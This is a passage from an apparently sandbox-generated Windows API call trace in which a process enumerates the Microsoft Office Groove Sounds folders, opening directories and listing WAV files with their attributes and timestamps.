BaseAddress=0xac57f0) returned 1 [0078.536] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0078.536] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac56e8) returned 1 [0078.536] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac55e0) returned 1 [0078.536] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 0 [0078.536] GetLastError () returned 0x12 [0078.536] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac53d0) returned 1 [0078.536] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0078.536] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac54d8) returned 1 [0078.536] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa4f40) returned 1 [0078.536] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52a72f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52a72f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sounds", cAlternateFileName="")) returned 1 [0078.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0078.536] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52a72f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52a72f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0078.537] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0078.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb2b8 [0078.538] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xacb2b8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0078.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0078.538] NtClose (Handle=0x174) returned 0x0 [0078.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0078.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0078.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.538] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0078.538] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52a72f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52a72f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.538] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a72f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="People", cAlternateFileName="")) returned 1 [0078.538] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Places", cAlternateFileName="")) returned 1 [0078.538] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d299f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 1 [0078.538] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d299f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 0 [0078.538] GetLastError () returned 0x12 [0078.538] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0078.539] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0078.539] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52a72f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52a72f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.539] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a72f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="People", cAlternateFileName="")) returned 1 [0078.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.539] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a72f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0078.540] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0078.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb2b8 [0078.540] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xacb2b8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0078.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0078.540] NtClose (Handle=0x174) returned 0x0 [0078.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba328 [0078.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa4f40 [0078.541] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac54d8 [0078.541] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0078.542] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a72f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.542] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x604d91d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6bd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="COUGH.WAV", cAlternateFileName="")) returned 1 [0078.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.543] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.543] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac53d0 [0078.543] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba328) returned 1 [0078.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabfd70 [0078.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac55e0 [0078.543] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.543] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x52a72f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7860, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIGGLE.WAV", cAlternateFileName="")) returned 1 [0078.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.544] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.544] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.544] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.544] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.544] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabfd90 [0078.544] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac56e8 [0078.544] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.544] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x38ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="HICCUP.WAV", cAlternateFileName="")) returned 1 [0078.544] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.544] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.544] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.544] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.544] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.544] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabfdb0 [0078.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac57f0 [0078.545] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.545] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x58adaa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MMHMM.WAV", cAlternateFileName="")) returned 1 [0078.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.545] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.545] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabfdd0 [0078.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac58f8 [0078.545] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.545] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x9c84, dwReserved0=0x0, dwReserved1=0x0, cFileName="SNEEZE.WAV", cAlternateFileName="")) returned 1 [0078.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.546] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.546] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabfdf0 [0078.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac5a00 [0078.546] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.546] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x8d36, dwReserved0=0x0, dwReserved1=0x0, cFileName="THROAT.WAV", cAlternateFileName="")) returned 1 [0078.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.546] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.546] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabfe10 [0078.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac5b08 [0078.547] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.547] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7302, dwReserved0=0x0, dwReserved1=0x0, cFileName="Whistling.wav", cAlternateFileName="")) returned 1 [0078.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.547] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.547] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabfe30 [0078.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac6348 [0078.547] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.548] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7302, dwReserved0=0x0, dwReserved1=0x0, cFileName="Whistling.wav", cAlternateFileName="")) returned 0 [0078.548] GetLastError () returned 0x12 [0078.548] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0078.548] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0078.548] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a72f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.548] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x604d91d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6bd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="COUGH.WAV", cAlternateFileName="")) returned 1 [0078.548] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x52a72f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7860, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIGGLE.WAV", cAlternateFileName="")) returned 1 [0078.548] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x38ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="HICCUP.WAV", cAlternateFileName="")) returned 1 [0078.548] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x58adaa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MMHMM.WAV", cAlternateFileName="")) returned 1 [0078.548] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x9c84, dwReserved0=0x0, dwReserved1=0x0, cFileName="SNEEZE.WAV", cAlternateFileName="")) returned 1 [0078.548] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x8d36, dwReserved0=0x0, dwReserved1=0x0, cFileName="THROAT.WAV", cAlternateFileName="")) returned 1 [0078.548] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7302, dwReserved0=0x0, dwReserved1=0x0, 